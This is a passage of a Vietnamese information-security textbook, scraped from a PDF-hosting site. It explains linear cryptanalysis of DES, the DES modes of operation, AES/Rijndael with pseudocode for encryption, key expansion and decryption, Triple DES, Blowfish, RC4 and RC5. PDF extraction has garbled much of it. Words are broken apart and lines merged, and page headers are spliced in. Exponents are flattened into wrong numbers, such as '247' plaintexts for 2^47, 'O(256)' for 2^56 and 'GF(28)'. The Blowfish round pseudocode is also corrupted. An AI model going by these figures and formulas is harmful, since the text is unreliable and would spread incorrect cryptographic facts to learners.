•  Thám mã tuyến tínhĐây là một phát hiện mớ i khác. Nó cũng dùng phươ ng pháp thống kê. Ở đâycần lặ p qua các vòng vớ i xác suất giảm, nó đượ c phát triển bở i Matsui và mộtsố ngườ i khác vào đầu những năm 90. Cơ  sở của phươ ng pháp dựa trên tìmxấ p xỉ tuyến tính. Và có nhận định r ằng có thể tấn công DES vớ i 247 bản rõ đã

 biết. Như vậy thám mã tuyến tính vẫn không khả thi trong thực tế.o  Tìm xấ p xỉ tuyến tính vớ i xác suất p != ½

P[i1,i2,...,ia] (+) C[j1,j2,...,j b] = K[k 1,k 2,...,k c]

trong đó ia, j b, k c là các vị trí bit trong bản rõ, mã, khoá.o  Điều kiện trên cho phươ ng trình tuyến tính của các bít khoá. Để nhận

đượ c 1 bít khoá sử dụng thuật toán lân cận tuyến tính

Page 51: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 51/147

 - 51 -

o  Sử dụng một số lớ n các phươ ng trình thử nghiệm. Hiệu quả cho bở i |p – 1/2|

Trong quá trình tìm hiểu DES ngườ i ta đã hệ thống lại các tiêu chuẩn thiết k ế DES. Như báo cáo bở i Copperscmith trong [COPP94]:

o  Có 7 tiêu chuẩn đối vớ i S box đượ c cung cấ p để đảm bảo

  tính phi tuyến tính  chống tham mã sai phân  R ối loạn tốt

o  Có 3 tiêu chuẩn cho hoán vị P để tăng độ khuếch tán

•  Các nguyên lý mã khốiCác nguyên lý cơ bản của mã khối giống như Fiestel đề xuất trong những năm70:

o  Có một số vòng: càng nhiều càng tốt; tấn công tốt nhất phải tìm tổngthể 

o  Trong mỗi vòng có hàm cung cấ p độ r ối loạn là phi tuyến, tác động

đồng loạto  Qui trình sinh khoá con phức tạ p, khoá tác động đồng loạt đến bản mã. IV.2.4 Các kiểu thao tác của DESMã khối mã các block có kích thướ c cố định. Chẳng hạn DES mã các block 64 bít vớ ikhoá 56 bít Cần phải có cách áp dụng vào thực tế vì các thông tin cần mã có kích thướ ctùy ý. Trwosc kia có 4 kiểu thao tác đượ c định ngh ĩ a cho DES theo chuẩn ANSI: ANSIX3.106-1983 Modes of Use. Bây giờ mở r ộng them có 5 cách cho DES và chuẩn mãnâng cao (AES – Advanced Encryption Standards). Trong đó có kiểu áp dụng cho khốivà có kiểu áp dụng cho mã dòng.1. Sách mật mã điện tử (Electronic Codebook Book - ECB)

o  Mẫu tin đượ c chia thành các khối độc lậ p, sau đó mã từng khối

o  Mỗi khối là giá tr ị cần thay thế như dùng sách mã, do đó có tên như vậyo  Mỗi khối đượ c mã độc lậ p vớ i các mã khác Ci = DESK1 (Pi) 

o  Khi dùng: truyền an toàn từng giá tr ị riêng lẻ 

Page 52: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 52/147

 - 52 -

o  Ư u và nhượ c của ECB  Lặ p trên bản mã đượ c chỉ rõ lặ p trên bản tin

- Nếu dóng đúng khối- Đặc biệt vớ i hình ảnh- Hoặc vớ i bản tin mà thay đổi r ất ít

sẽ tr ở thành đối tượ ng để thám mã   Nhượ c điểm là các khối đượ c mã độc lậ p  Đượ c sử dụng chủ yếu khi gửi một ít dữ liệu

2. Dây chuyền mã khối (Cipher Block Chaining - CBC)o  Các mẫu tin đượ c chia thành các khối o   Nhưng chúng đượ c liên k ết vớ i nhau trong quá trình mã hoá 

o  Các block đượ c sắ p thành dãy, vì vậy có tên như vậy 

o  Sử dụng véctơ ban đầu IV để bắt đầu quá trìnhCi = DESK1(Pi XOR Ci-1)

C-1 = IV 

o  Dùng khi: mã dữ liệu lớ n, xác thực

o  Ư u và nhượ c của CBC  Mỗi khối mã phụ thuộc vào tất cả các khối bản rõ  Sự thay đổi của bản tin ở  đâu đó sẽ kéo theo sự thay đổi của mọi khối

  Cần giá tr ị véc tơ ban đầu IV đượ c biết tr ướ c bở i ngườ i gửi và ngườ inhận-  Tuy nhiên nếu IV đượ c gửi công khai, k ẻ tấn công có thể thay đổi

 bít đầu tiên và thay đổi cả IV để bù tr ừ -  Vậy IV cần phải có giá tr ị cố định tr ướ c hoặc mã hoá trong chế độ 

ECB và gửi tr ướ c phần còn lại của mẩu tin  Ở cuối bản tin, để kiểm soát các block ngắn còn lại

-  Có thể bổ sung các giá tr ị không phải dữ liệu như NULL

Page 53: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 53/147

 - 53 -

-  Hoặc dùng bộ đệm cuối vớ i số byte đếm kích thướ c của nó.Ví dụ 

[ b1 b2 b3 0 0 0 0 5] <- 3 data bytes,vậy có 5 bytes dành cho đệm và đếm.

3. Mã phản hồi ngượ c (Cipher FeedBack - CFB)

o  Bản tin coi như dòng các bíto  Bổ sung vào đầu ra của mã khốio  K ết quả phản hồi tr ở lại cho giai đoạn tiế p theo, vì vậy có tên như vậy.o   Nói chung cho phép số bít phản hồi là 1, 8, 64, hoặc tuỳ ý: ký hiệu tươ ng

ứng là CFB1, CFB8, CFB64,…o  Thườ ng hiệu quả sử dụng cả 64 bít

Ci = Pi XOR DESK1(Ci-1)

C-1 = IV 

o  Đượ c dùng cho mã dữ liệu dòng, xác thực

Ư u và nhượ c điểm của mã phản hồi ngượ co  Đượ c dùng khi dữ liệu đến theo byte/bito  Chế độ dòng thườ ng gặ p nhấto  Hạn chế là cần ngăn chuồng khi mã khối sau mỗi n bito   Nhận xét là mã khối đượ c dùng ở chế độ mã ở cả hai đầuo  Lỗi sẽ lan ra một vài block sau lỗi

4. Phản hồi ngượ c đầu ra (Output FeedBack - OFB)o  Mẩu tin xem như dòng bito  Đầu ra của mã đượ c bổ sung cho mẩu tino  Đầu ra do đó là phản hồi, do đó có tên như vậyo  Phản hồi ngượ c là độc lậ p đối vớ i bản tino  Có thể đượ c tính tr ướ c

Ci = Pi XOR Oi 

Oi = DESK1(Oi-1)

Page 54: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 54/147

 - 54 -

O-1 = IV

o  Đượ c dùng cho mã dòng trên các kênh âm thanh

Ư u điểm và nhượ c điểm của OFBo  Đượ c dùng khi lỗi phản hồi ngượ c lại hoặc ở nơ i cần mã tr ướ c khi mẩu tin

sẵn sàngo  R ất giống CFBo   Nhưng phản hồi là từ đầu ra của mã và độc lậ p vớ i mẩu tino  Là biến thể của mã Vernam, suy ra không sử dụng lại vớ i cùng một dãy

(Key + IV)

o   Ngườ i gửi và ngườ i nhận phải đồng bộ, có phươ ng pháp khôi phục nào đólà cần thiết để đảm bảo việc đó.o   Nguyên bản chỉ rõ m bit phản hồi ngượ c theo các chuẩno  Các nghiên cứu tiế p theo chỉ ra r ằng chỉ có OFB64 là dùng đượ c

5. Bộ đếm CTR (Counter)o  Là chế độ mớ i, tuy đã đượ c đề xuất từ lâuo  Giống như OFB, nhưng mã giá tr ị đếm thay vì giá tr ị phản hồi tuỳ ý.o  Cần phải có khoá khác và giá tr ị đếm cho mỗi khối bản rõ (không bao giờ  

dùng lại)Ci = Pi XOR Oi 

Oi = DESK1(i) 

o  Đượ c dùng mã trên mạng vớ i tốc độ caoo  Ư u và nhượ c điểm của CTR 

  Hiệu quả -  Do có thể mã song song-  Chuẩn bị tr ướ c nếu cần-  Tốt cho các k ết nối vớ i tốc độ r ất cao

  Truy cậ p ngẫu nhiên đến các khối dữ liệu mã  Tính an toàn có thể chứng minh đượ c

Page 55: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 55/147

 - 55 -

   Nhưng phải tin tưở ng không bao giờ  dùng lại khoá/đếm, nếukhông có thể bẻ.

IV.3 Chuẩn mã nâng cao (AES)IV.3.1 Nguồn gốcRõ ràng cần phải thay thế DES, vì có những tấn công về mặt lý thuyết có thể bẻ đượ c nó.Một số tấn công nghiên cứu thấu đáo khoá đã đượ c trình diễn. Ngườ i ta thấy r ằng, cần sử dụng Triple DES (sử dụng DES ba lần liên tiế p) cho các ứng dụng đòi hỏi tăng cườ ng bảo mật, nhưng quá trình mã và giải mã chậm, đồng thờ i vớ i khối dữ liệu nhỏ. Do đóViện chuẩn quốc gia Hoa k ỳ US NIST ra lờ i kêu gọi tìm kiếm chuẩn mã mớ i vào năm

1997. Sau đó có 15 đề cử đượ c chấ p nhận vào tháng 6 năm 1998. Và đượ c rút gọn còn 5ứng cử viên vào tháng 6 năm 1999. Đến tháng 10 năm 2000, mã Rijndael đượ c chọn làmchuẩn mã nâng cao và đượ c xuất bản là chuẩn FIPS PUB 197 vào 11/2001.Yêu cầu của AES

•  Là mã khối đối xứng khoá riêng.•  Kích thướ c khối dữ liệu 128 bit và độ dài khoá là tùy biến: 128, 192 hoặc 256 bit.•  Chuẩn mã mớ i phải mạnh và nhanh hơ n Triple DES. Mã mớ i có cơ sở  ls thuyết

mạnh để thờ i gian sống của chuẩn khoảng 20-30 năm (cộng thêm thờ i gian lưutr ữ).

•  Khi đưa ra thành chuẩn yêu cầu cung cấ p chi tiết thiết k ế và đặc tả đầy đủ. Đảm bảo r ằng chuẩn mã mớ i cài đặt hiệu quả trên cả C và Java.

•   NIST in rút gọn mọi đề xuất, phân tích và không phân loại.

IV.3.2 Tiêu chuẩn triển khai của AES•  Tiêu chuẩn ban đầu:

o  An toàn - chống đỡ mọi tấn công thám mã về thực tế o  Giá tr ị về mặt tính toáno  Các đặc tr ưng cài đặt và thuật toán.

•  Tiêu chuẩn cuối cùng:

Page 56: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 56/147

 - 56 -

o  An toàn tổng thể o  Dễ cài đặt phần mềm và phần cứngo  Chống đượ c tấn công về mặt cài đặto  Mềm dẻo trong mã / giải mã, khoá và các yếu tố khác

•  Danh sách các ứng cử viên Chuẩn mã nâng cao đượ c rút gọn:

o  MARS (IBM): phức tạ p, nhanh, biên độ tin cậy caoo  RC6 (USA): đơ n giản, r ất nhanh, biên độ tin cậy thấ po  Rijndael (Bỉ): rõ ràng, nhanh, biên độ tin cậy tốto  Serpent (Châu Âu): chậm, rõ ràng, biên độ tin cậy r ất caoo  Twofish (USA): phức tạ p, r ất nhanh, biên độ tin cậy cao

•  Sau đó tục phân tích và đánh giá. Tậ p trung vào việc so sánh các thuật toán khácnhau:

o  Ít vòng nhưng phức tạ p vớ i nhiều vòng đơ n giản hơ n.o   Nêu rõ cải tiến các mã đã có vớ i các đề xuất mớ i.

IV.3.3 Chuẩn mã nâng cao AES – Rijndael

Cuối cùng Rijndael đượ c chọn là chuẩn mã nâng cao. Nó đượ c thiết k ế bở i Rijmen – Daemen ở Bỉ, có các đặc tr ưng sau:•  Có 128/192/256 bit khoá và 128 bit khối dữ liệu.•  Lặ p hơ i khác vớ i Fiestel

o  Chia dữ liệu thành 4 nhóm – 4 byteo  Thao tác trên cả khối mỗi vòngo  Thiết k ế để:

  chống lại các tấn công đã biết  tốc độ nhanh và nén mã trên nhiều CPU  Đơ n giản trong thiết k ế 

•  Xử lý khối dữ liệu 128 bit như 4 nhóm của 4 byte: 128 = 4*4*8 bit. Mỗi nhóm

nằm trên một hàng. Ma tr ận 4 hàng, 4 cột vớ i mỗi phần tử là 1 byte coi như tr ạngthái đượ c xử lý qua các vòng mã hoá và giải mã.•  Khoá mở r ộng thành mảng gồm 44 từ 32 bit w[i].•  Có tùy chọn 9/11/13 vòng, trong đó mỗi vòng bao gồm

o  Phép thế byte (dùng một S box cho 1 byte)o  Dịch hàng (hoán vị byte giữa nhóm/cột)o  Tr ộn cột (sử dụng nhân ma tr ận của các cột)o  Cộng khoá vòng (XOR tr ạng thái dữ liệu vớ i khoá vòng).o  Mọi phép toán đượ c thực hiện vớ i XOR và bảng tra, nên r ất nhanh và hiệu

quả.•  Sơ  đồ Rijndael

Page 57: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 57/147

 - 57 -

•  Phép thế Byteo  Phép thê byte đơ n giảno  Sử dụng một bảng 16 x 16 byte chứa hoán vị của tất cả 256 giá tr ị 8 bito  Mỗi byte tr ạng thái đượ c thay bở i byte trên hàng xác định bở i 4 bit trái và cột

xác định bở i 4 bit phải.Chẳng hạn {95} đượ c thay bở i hàng 9, cột 5, mà giá tr ị sẽ là {2A}.

o  S box đượ c xây dựng sử dụng hoán vị các giá tr ị trong GF(28) đã đượ c xácđịnh trong chươ ng tr ướ c.

o  Thiết k ế để chống mọi tấn công đã biết•  Dịch hàng

o  Dịch hàng vòng quanh trên mỗi hàng

  Hàng 1 không đổi  Hàng 2 dịch vòng quanh 1 byte sang trái  Hàng 3 dịch vòng quanh 2 byte sang trái  Hàng 4 dịch vòng quanh 3 byte sang trái

o  Giải mã thực hiện dịch ngượ c lại sang phảio  Vì tr ạng thái đượ c xử lý bở i cột, bướ c này thực chất là hoán vị byte giữa các

cột.•  Trộn các cột

Page 58: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 58/147

 - 58 -

o  Mỗi cột đượ c xử lý riêng biệt.o  Mỗi byte đượ c thay bở i 1 giá tr ị phụ thuộc vào tất cả 4 byte trong cộto   Nhân ma tr ận hiệu quả trong GF(28), sử dụng đa thức nguyên tố 

m(x) =x8+x4+x3+x+1

Tr ộn cột o  Có thể biểu diễn mỗi cột mớ i là nghiệm của 4 phươ ng trình 

  để tìm ra byte mớ i trong mỗi cột o  Mã yêu cầu sử dụng ma tr ận nghịch đảo 

  Vớ i hệ số lớ n thì tính toán khó khăn hơ n 

o  Có các đặc tr ưng khác của cột như sau:   Mỗi cột là một đa thức bậc 3 gồm 4 số hạng   Vớ i mỗi phần tử là một byte tươ ng ứng vớ i phần tử trong GF(28). 

  Các đa thức nhân tính theo Modulo (x4+1). •  Cộng khoá quay vòng

o  XOR tr ạng thái vớ i 128 bit khoá quay vòngo  Xử lý lại bằng cột (hiệu quả qua một loạt các thao tác bit)o   Nghịch đảo cho giải mã hoàn toàn xác định, vì khi XOR vớ i nghịch đảo

của bản thân nó, XOR trùng vớ i đảo bit của khoá quay vòng.o  Thiết k ế để đơ n giản nhất có thể 

  Dạng mã Vernam vớ i khoá mở r ộng  Đòi hỏi thêm một số bướ c tăng độ phức tạ p/tính an toàn.

•  Một vòng AES

•  Mở rộng khoá AESo  Dùng khoá 128 bit (16 byte) và mở r ộng thành mảng gồm 44/52/60 từ 32

 bit.o  Bắt đầu bằng việc copy khoá vào 4 từ đầuo  Sau đó tạo quay vòng các từ mà phụ thuộc vào giá tr ị ở các vị trí tr ướ c và

4 vị trí sau  3 trong 4 tr ườ ng hợ  p chỉ là XOR chúng cùng nhau  Mỗi cái thứ 4 có S box k ết hợ  p quay và XOR vớ i hằng số tr ướ c đó,

tr ướ c khi XOR cùng nhau  Thiết k ế chống các tấn công đã biết

Page 59: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 59/147

 - 59 -

•  Giải mã AESo  Giải mã ngượ c lại không duy nhất vì các bướ c thực hiện theo thứ tự ngượ c

lại.o   Nhưng có thể xác định mã ngượ c tươ ng đươ ng vớ i các bướ c đã làm đối

vớ i mã

   Nhưng sử dụng ngượ c lại vớ i từng bướ c  Vớ i khoá con khác nhauo  Thực hiện đượ c vì k ết quả không thay đổi khi

  Đổi lại phép thế byte và dịch các hàng  Đổi lại việc tr ộn các cột và bổ sung khoá vòng

o  Lý do mở r ộng khoá: các tiêu chuẩn thiết k ế bao gồm  Giả sử biết một phần khoá, khi đó không đủ để biết nhiều hơ n, tức là

các khoá con khác hoặc khoá nói chung.  Phép biến đổi nghịch đảo đượ c.   Nhanh đối vớ i nhiều kiểu CPU.  Sử dụng hằng số vòng để làm mất tính đối xứng

  Khuếch tán bit khoá thành khoá con cho các vòng  Có đủ tính phi đối xứng để chống thám mã  Đơ n giản trong việc giải mã

o  Các khía cạnh cài đặt:  có thể cài đặt hiệu quả trên CPU 8 bit

-  Phép thế byte làm việc trên các byte sử dụng bảng vớ i 256đầu vào.

-  Dịch hàng là phép dịch byte đơ n giản

Page 60: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 60/147

 - 60 -

-  Cộng khoá vòng làm việc trên byte XOR -  Các cột hỗn hợ  p yêu cầu nhân ma tr ận trong GF(28) mà làm

việc trên giá tr ị các byte, có thể  đơ n giản bằng cách tra bảng

  có thể cài đặt hiệu quả trên CPU 32 bit

-  Xác định lại các bướ c để sử dụng từ 32 bit-  Có thể tính tr ướ c 4 bảng vớ i 256 đầu vào-  Sau đó mỗi cột trong mỗi vòng có thể tính bằng cách tra 4

 bảng và 4 XOR -  Cần 16 Kb để lưu các bảng

   Những nhà thiết k ế tin tưở ng r ằng việc cài đặt r ất hiệu quả này là yếutố cơ bản trong việc chọn nó là mã AES

Sau đây ta xét chi tiết hơ n các quá trình mã hoá, sinh khoá và giải mã AES.Xét cụ thể quá trình mã hóa bao gồm 4 bướ c:

1.  AddRoundKey - mỗi byte của khối đượ c k ết hợ  p vớ i khóa con, các khóa con này

đượ c tạo ra từ quá trình tạo khóa con Rijndael.

Hình 2.5: Mô tả hoạt động bướ c AddRoundKey

2.  SubBytes - đây là quá trình thay thế (phi tuyến) trong đó mỗi byte sẽ đượ c thaythế bằng một byte khác theo bảng tra (Tìm trong tài liệu tươ ng ứng).

Hình 2.6: Mô tả hoạt động bướ c SubBytes

Page 61: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 61/147

 - 61 -

3.  ShiftRows - đổi chỗ, các hàng trong khối đượ c dịch vòng.

Hình 2.7: Mô tả hoạt động bướ c ShiftRows4.  MixColumns - quá trình tr ộn làm việc theo các cột trong khối theo một chuyển

đổi tuyến tính.

Hình 2.8: Mô tả hoạt động bướ c MixColumns

Tại chu trình cuối thì bướ c MixColumns đượ c thay thế bằng bướ c AddRoundKey.Thuật toán mã hoáINPUT: M 128 bit, w[Nb*(Nr+1)] --- w là mảng khoá , M là khối dữ liệu rõOUTPUT: Y 128 bit -- Khối dữ liệu đã đượ c mã hoáTIẾ N TRÌNH XỬ LÝ:

State:=in;AddRoundKey(State,w[0,Nb-1]);for i in 1..Nr-1 loop

SubByte(state);ShiftRows(state);MixColums(state);AddRoundKey(state,w[i*Nb],(i+1)*Nb-1);

end loop;SubByte(state);ShiftRows(state);AddRoundKey(state,w[i*Nb],(i+1)*Nb-1);

Y:=state;Thuật toán sinh khoá con sử dụng ba hàm:SubWord(): Là một hàm đưa 4 từ đầu vào qua S-box để đượ c 4 từ đầu raRotWord(): Biến đổi một từ [a0a1a2a3] thành một từ [a1a2a3a0]Rcon(i): Chứa các giá tr ị [xi-1,{00},{00},{00}] vớ i x={02} và i>=1.Tr ườ ng hợ  p Nk=8 (độ dài khoá =256) và i-4 là bội số của Nk thì SubWord() đượ c tínhtoán vớ i w[i-1] tr ứơ c khi XOR Thuật toán:

Page 62: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 62/147

 - 62 -

INPUT: Khoá đầu vào K, Nk OUTPUT: Mảng khoá conTIẾ N TRÌNH XỬ LÝ:

•  Tách khoá K thành Nk khối 4 byte w[i] i=0..Nk-1i:=Nk;

while (i<Nb*(Nr+1)) looptemp:=w[i-1];if (i mod Nk = 0);

temp = SubWord(RotWord(temp)) xor Rcon[i/Nk];else if (Nk > 6 and i mod Nk = 4);

temp = SubWord(temp);end if;w[i] = w[i-Nk] xor temp;i = i + 1;

end loop;Thuật toán giải mã sử dụng 4 biến đổi trong đó có 1 biến đổi AddRoundKey và 3 biến

đổi đảo ngượ c.Biến đổi InvShiftRows(): tươ ng tự biến đổi ShiftRows thay vì dịch trái thì trong biến đổinày là dịch phải.Bứơ c InvSubBytes(): Phép biến đổi này tươ ng tự như SubBytes() thay vì dùng S-box thìsử dụng InvS-box .Bứơ c InvMixColums(): Tươ ng tự như phép MixColums thay vì a XOR vớ i c(x) thì là a-

1 XOR c(x).Thuật toán giải mãINPUT: M 128 bit, w[Nb*(Nr+1)] --- w là mảng khoá , M là bản mãOUTPUT: Y 128 bit -- Khối dữ liệu đã đượ c giải mãTIẾ N TRÌNH XỬ LÝ:

state = MAddRoundKey(state, w[Nr*Nb, (Nr+1)*Nb-1])for round = Nr-1 step -1 downto 1

InvShiftRows(state)InvSubBytes(state)AddRoundKey(state, w[round*Nb, (round+1)*Nb-1])InvMixColumns(state)

end for InvShiftRows(state)InvSubBytes(state)AddRoundKey(state, w[0, Nb-1])

Y = state.IV.4 Các mã đối xứ ng đươ ng thờ i

IV.4.1 Triple DESMã DES nhiều lần•  Rõ ràng DES cần đượ c thay thế, vì

o  Các tấn công về mặt lý thuyết có thể bẻ gãy nó

Page 63: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 63/147

 - 63 -

o  Tấn công khoá toàn diện đã đượ c trình diễn•  AES là mã mớ i thay thế •  Tr ướ c nó ngườ i ta đã sử dụng lặ p DES, tức là sử dụng nhiều lần cùng một thuật toán,

nhưng có thể vớ i khóa khác nhau.•  Triple DES là dạng đã đượ c chọn, ở  đây lặ p DES 3 lần.

•  Tại sao lại là Triple DESo  Mà không phải là lặ p hai lần Double DES: khi lặ p hai lần không hoàn toàn là

trùng vớ i 1 lần DES nào đó nhưng cũng có thể.o  Có thể dùng 2 lần DES trên một block vớ i hai khoá K1 và K2 :

C = EK2(EK1(P))o  Vấn đề là có thể rút gọn về một bướ c không.o  Double DES gặ p tấn công ở mức trung gian

  Gặ p nói chung khi sử dụng một mã nào đó 2 lần như trên  Vì X = EK1[P] = DK2[C]  Tấn công bằng cách mã P vớ i mọi khoá và lưu lại.  Và giải mã C vớ i các khoá và sánh trùng nhau để tìm X.

  Có thể chỉ ra r ằng cần O(256) bướ c dò tìm.•  Triple DES vớ i 2 khoá 

o  Để tránh tấn công ở mức trung gian, cần sử dụng 3 mã, vậy nói chung có thể dùng 3 khoá khác nhau.

o   Nhưng để đơ n giản hơ n có thể sử dụng 2 khoá theo trình tự:E–D-E, tức là mã,giải mã, r ồi lại mã.

  C = EK1[DK2[EK1[P]]]  Về mặt an toàn mã và giải mã tươ ng đươ ng nhau   Nếu K1 = K2 thì tươ ng đươ ng làm việc vớ i một lần DES  Chuẩn hoá trong ANSI X9.17 & ISO8732   Chưa thấy tấn công thực tế.

•  Triple DES vớ i 3 khoá o  Mặc dù chưa có tấn công thực tế, nhưng Triple DES vớ i 2 khoá có một số chỉ 

định để tránh r ơ i vào một số tr ườ ng hợ  p đặc biệt.o  Cần phải sử dụng 3 lần DES vớ i 3 khoá để tránh điều đó

C = EK3[DK2[EK1[P]]]o  Đượ c chấ p nhận bở i một số ứng dụng trên Internet: PGP, S/MIME

IV.4.2 Blowfish•  Mã đối xứng đượ c thiết k ế bở i Shneier khoảng 1993-1994.•  Mã có các đặc tr ưng sau:

o  Cài đặt nhanh trên CPU 32 bito  Dùng ít bộ nhớ .o  Cấu trúc đơ n giản, dễ cài đặt và phân tích.o  Độ an toàn thay đổi theo độ dài của khoá

•  Đượ c cài đặt trên nhiều sản phẩm khác nhau•  Lượ c đồ khoá con của Blowfish

o  Dùng khoá có độ dài bit linh hoạt từ 32 đến 448.o  Sử dụng khoá để sinh

Page 64: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 64/147

 - 64 -

  18 khoá con 32 bit lưu tr ữ trong mảng K: K J   Bốn S box cỡ 8 x 32 lưu trong Si, j 

o  Lượ c đồ khoá gồm  Khở i tạo P mảng và sau đó là 4 hộ p S box  XOR P mảng vớ i bit khoá (sử dụng lại nếu cần)

  Lặ p lại việc mã dữ liệu sử dụng P & S hiện thờ i và thay cặ  p thànhcông P sau đó S.  Đòi hỏi 512 khoá, nên chậm khi lấy khoá con mớ i

o  Mã Blowfish  Sử dụng 2 phép cơ bản cộng và XOR   Dữ liệu đượ c chia thành 2 nửa mỗi nửa 32 bit L0 & R 0 

for i = 1 to 16 do Ri = Li-1 XOR Pi; Li = F[ Ri] XOR  Ri-1; L17 = R16 XOR P18; R17 = L16 XOR i17;

trong đóF[a,b,c,d ] = ((S1,a + S2,b) XOR S3,c) + S4,a 

o  Bàn luận:  Khoá con và S box phụ thuộc vào khoá sinh ra, sử dụng vào chính mã

nên việc phân tích r ất khó  Thay đổi hai nửa sau mỗi vòng làm tăng độ an toàn  Khoá đượ c cấ p đủ lớ n để việc tìm duyệt khoá là không thực tế, đặc

 biệt khi tậ p trung vào lượ c đồ tạo khoá con.

IV.4.3 RC4RC4 là mã đăng ký bản quyền của RSADSI, đượ c thiết k ế bở i Ronald Rivest. RC4 đơ ngiản, nhưng hiệu quả, có nhiều cỡ khoá và là mã bit dòng.Mã đượ c sử dụng r ộng rãi (Web SSL/TLS, không dây WEP). Khoá thực hiện hoán vị ngẫu nhiên cả 8 giá tr ị bit. Sử dụng hoán vị đó để khuấy thông tin đầu vào đượ c xử lýtừng byte.Sinh khoá RC4

o  Bắt đầu từ mảng S vớ i biên độ: 0..255o  Sử dụng khoá để xáo tr ộn đều thực sự.o  S tạo tr ạng thái trong của mã.

Mã RC4o  Mã tiế p tục tr ộn các giá tr ị của mảng.o  Tổng của các cặ p tr ộn chọn giá tr ị khoá dòng từ hoán vị o  XOR S[t] vớ i byte tiế p theo của bản tin để mã/giải mãi = j = 0for each message byte Mii = (i + 1) (mod 256) j = (j + S[i]) (mod 256)swap(S[i], S[j])t = (S[i] + S[j]) (mod 256)Ci = Mi XOR S[t]

Page 65: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 65/147

 - 65 -

Tổng quan RC4

An toàn RC4o  Đảm bảo an toàn chống các tấn côngo  Có một số thám mã, nhưng không thực tế o  K ết quả r ất phi tuyếno  Vì RC4 là mã dòng nên không đượ c sử dụng lại khoá.o  Có liên quan đến WEP, nhưng tùy thuộc quản lý khoá hơ n là bản thân RC4.

IV.4.4 RC5RC5 cũng là mã đăng ký bản quyền của RSADSI, đượ c thiết k ế bở i Ronald Rivest vàđượ c sử dụng trong nhiều sản phẩm của RSADSI. RC5 có nhiều cỡ khoá và dữ liệu khácnhau và đặc biệt không có vòng lặ p. Thiết k ế r ất đơ n giản và rõ ràng. RC5 đượ c cài đặtdễ dàng trên nhiều CPU và còn đượ c đánh giá là an toàn.•  Các mã RC5

o  RC5 là một họ các mã vớ i bat ham số RC5-w/r/b  w là kích thướ c của từ (16/32/64), sô bit data = 2w  r là số vòng (0..255)   b là số byte của khoá (0..255)

o  Phiên bản chuẩn là RC5-32/12/16  Tức là 32 bit word, mã khối 64 bit dữ liệu  Sử dụng 12 vòng  Vớ i 16 byte (128 bit) khoá

Page 66: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 66/147

 - 66 -

o  Mở r ộng khoá RC5  RC5 sử dụng 2r + 2 từ khoá con (w-bit)  Các khoá con lưu trong mảng R[i], i = 0,1,.., t-1  Sau đó lượ c đồ sinh khoá gồm

-  Khở i tạo S là giá tr ị giả ngẫu nhiên cố định, dựa trên hằng sô e

và phi.-  Khoá byte đượ c sao vào mảng c-word L-  Phép tr ộn sẽ k ết hợ  p L và S thành mảng S cuối cùng

•  Mã RC5o  Tách đầu vào thành 2 nửa A và B

 L0 = A + S[0]; R0 = B + S[1];for i = 1 to r do

 Li = (( Li-1 XOR  Ri-1) <<< Ri-1) + S[2 x i]; Ri = (( Ri-1 XOR  Li) <<< Li) + S[2 x i + 1];

o  Mỗi vòng giống như 1 vòng 2 DESo  Quay là nguồn phi tuyến chínho  Cần số vòng chấ p nhận đượ c (12-16)

•  Các chế độ mã RC5o  RFC2040 xác định 4 chế độ của RC5

  Mã khối RC5, tức là chế độ ECB  RC5-CBC  RC5-CBC-PAD là chế độ vớ i bộ đệm bằng các byte có giá tr ị bằng số 

 byte đệm.  RC5-CTS, một kiểu của CBC, cùng kích thướ c vớ i bản tin gốc.

IV.4.5 Các đặc trư ng của mã khối và mã dòng.

